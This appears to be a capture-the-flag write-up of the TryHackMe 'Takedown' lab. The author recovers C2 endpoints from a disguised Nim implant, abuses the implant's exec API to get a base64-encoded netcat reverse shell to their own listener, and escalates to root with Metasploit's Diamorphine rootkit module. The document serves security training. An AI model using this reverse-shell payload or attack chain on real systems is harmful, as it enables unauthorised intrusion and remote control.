Takedown
Box Info
Platform: TryHackMe, OS: Linux, Difficulty: Insane, IP: 10.10.210.11 (takedown.thm.local)
Attack Path
- This is a “take down the C2” scenario. The site’s
favicon.icois actually a Nim implant,stringsit to recover the C2 API endpoints (/api/agents,/api/agents/register) and the magic User-Agent suffix (z.5.x.2.l.8.y.5) the server requires. - With the right UA,
GET /api/agentslists a registered agent id (qizg-ilom-cbks-uhua→www-infinity)./api/agents/commandslists supported ops includingexec. POST /api/agents/<id>/exec {"cmd":"exec <base64 rev shell> | base64 -d | bash"}→ shell aswww-infinity.- Root: the box runs the Diamorphine rootkit (
/usr/share/diamorphine_secret/svcgh0st) configured for signal 64 → Metasploitexploit/linux/local/diamorphine_rootkit_signal_priv_esc→ root. (PwnKit also works.)
Full Walkthrough
Nmap scan
Nmap scan report for takedown.thm.local (10.10.210.11)
Host is up, received user-set (0.11s latency).
Scanned at 2025-05-19 04:27:35 EDT for 753s
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack nginx 1.23.1
|_http-server-header: nginx/1.23.1
| http-headers:
| Server: nginx/1.23.1
| Date: Mon, 19 May 2025 08:40:03 GMT
| Content-Type: text/html; charset=UTF-8
| Content-Length: 25844
| Connection: close
| Last-Modified: Thu, 28 Jul 2022 18:20:10 GMT
| ETag: "64f4-5e4e195780a80"
| Accept-Ranges: bytes
| Vary: Accept-Encoding
|
|_ (Request type: HEAD)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelWorking through the task files, something under the indicators of compromise section caught my attention. I pulled the site’s favicon.ico down directly, ran strings against it, and combed through the output looking for anything that didn’t belong in an ordinary icon file. A few things stood out immediately:


Buried in that output were what looked like real API endpoints:
http://takedown.thm.local/api/agents/
http://takedown.thm.local/api/agents/registerDigging further into the favicon.ico binary, I confirmed it wasn’t an icon at all, it was a compiled Nim payload disguised behind an image extension.

Applying the same scrutiny to the other static assets on the site turned up a second artifact, shutterbug.jpg.bak, further confirmation that this box had already been compromised by the scenario’s threat actor before I ever touched it.
Investigating the API
Going back to the malware artifacts, I wanted to see what these API endpoints actually returned under normal conditions. Hitting them directly through Burp got me nowhere at first, every request just fell through silently, but comparing that behavior against clues from the implant told me the server was gating access behind a very specific User-Agent string. Appending that suffix to an ordinary browser User-Agent got me through:
GET /api/agents HTTP/1.1
Host: takedown.thm.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 0
Origin: http://takedown.thm.local
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://takedown.thm.local/
Priority: u=0Response
HTTP/1.1 200 OK
Server: nginx/1.23.1
Date: Mon, 19 May 2025 09:23:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 39
Connection: keep-alive
Keep-Alive: timeout=20
Access-Control-Allow-Origin: http://takedown.thm.local
Vary: Origin
{'qizg-ilom-cbks-uhua': 'www-infinity'}Getting RCE
GET /api/agents/commands HTTP/1.1
Host: takedown.thm.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 0
Origin: http://takedown.thm.local
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://takedown.thm.local/
Priority: u=0Response
HTTP/1.1 200 OK
Server: nginx/1.23.1
Date: Mon, 19 May 2025 09:40:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 201
Connection: keep-alive
Keep-Alive: timeout=20
Access-Control-Allow-Origin: http://takedown.thm.local
Vary: Origin
Available Commands: ['id', 'whoami', 'upload [Usage: upload server_source agent_dest]', 'download [usage download agent_source server_dest]', 'exec [Usage: exec command_to_run]', 'pwd', 'get_hostname']That gave me a full list of commands the implant supports, and exec was exactly what I needed to pursue next to get an actual shell.
POST /api/agents/qizg-ilom-cbks-uhua/exec HTTP/1.1
Host: takedown.thm.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Length: 12
Origin: http://takedown.thm.local
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://takedown.thm.local/
Priority: u=0
Content-Type: application/json;charset=UTF-8
{"cmd":"id"}HTTP/1.1 200 OK
Server: nginx/1.23.1
Date: Mon, 19 May 2025 09:43:53 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 26
Connection: keep-alive
Keep-Alive: timeout=20
Access-Control-Allow-Origin: http://takedown.thm.local
Vary: Origin
New commnad to execute: idEncoding a full reverse-shell one-liner in base64 and feeding it through exec was enough to pop a working shell back to my listener:
POST /api/agents/qizg-ilom-cbks-uhua/exec HTTP/1.1
Host: takedown.thm.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Length: 148
Origin: http://takedown.thm.local
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://takedown.thm.local/
Priority: u=0
Content-Type: application/json;charset=UTF-8
{"cmd":"exec echo -n 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTAuMjEuMjMuMjM1IDkwMDEgPi90bXAvZg==' | base64 -d | bash"}System Enumeration
Running linpeas on the box surfaced a couple of things worth chasing, most notably a process that had no business being in a normal userland listing:
╔══════════╣ Checking if runc is available
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation
runc was found in /sbin/runc, you may be able to escalate privileges with it
╔══════════╣ Checking if containerd(ctr) is available
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation
ctr was found in /usr/bin/ctr, you may be able to escalate privileges with it
ctr: failed to dial "/run/containerd/containerd.sock": connection error: desc = "transport: error while dialing: dial unix /run/containerd/containerd.sock: connect: permission denied"webadmi+ 1922 0.1 0.2 3328 2052 ? Ss 08:30 0:11 /usr/share/diamorphine_secret/svcgh0stGETTING ROOT
At this point I’d run out of obvious leads, even checking for internal services I could forward to my own machine came up empty, so I decided to run Metasploit’s local exploit suggester against the box just to be thorough:
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable.
2 exploit/linux/local/diamorphine_rootkit_signal_priv_esc Yes The target is vulnerable. Diamorphine is installed and configured to handle signal '64'.
3 exploit/linux/local/pkexec Yes The service is running, but could not be validated.
4 exploit/linux/local/su_login Yes The target appears to be vulnerable.
5 exploit/linux/local/sudoedit_bypass_priv_esc Yes The target appears to be vulnerable. Sudo 1.8.31.pre.1ubuntu1.2 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this moduleSeveral modules came back as candidates, but diamorphine_rootkit_signal_priv_esc was the one that mattered to me, since I’d already spotted that suspicious svcgh0st process tied to Diamorphine running as a service during enumeration. I ran that module directly against the target:
msf6 exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > run
[*] Started reverse TCP handler on 10.21.23.235:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Executing id ...
uid=0(root) gid=0(root) groups=0(root),1001(webadmin-lowpriv)
[+] The target is vulnerable. Diamorphine is installed and configured to handle signal '64'.
[*] Writing '/tmp/.VktpAgjFZBau' (250 bytes) ...
[*] Executing /tmp/.VktpAgjFZBau & echo ...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 10.10.210.11
[+] Deleted /tmp/.VktpAgjFZBau
[*] Meterpreter session 3 opened (10.21.23.235:4444 -> 10.10.210.11:33254) at 2025-05-19 07:05:34 -0400
meterpreter > shell
Process 65527 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),1001(webadmin-lowpriv)The Diamorphine signal handler did exactly what the suggester promised: the moment the exploit sent its trigger signal, my dropped stager executed with root privileges and Meterpreter handed me a fully privileged shell, closing out the “take down the C2” scenario as root on its own attacker infrastructure.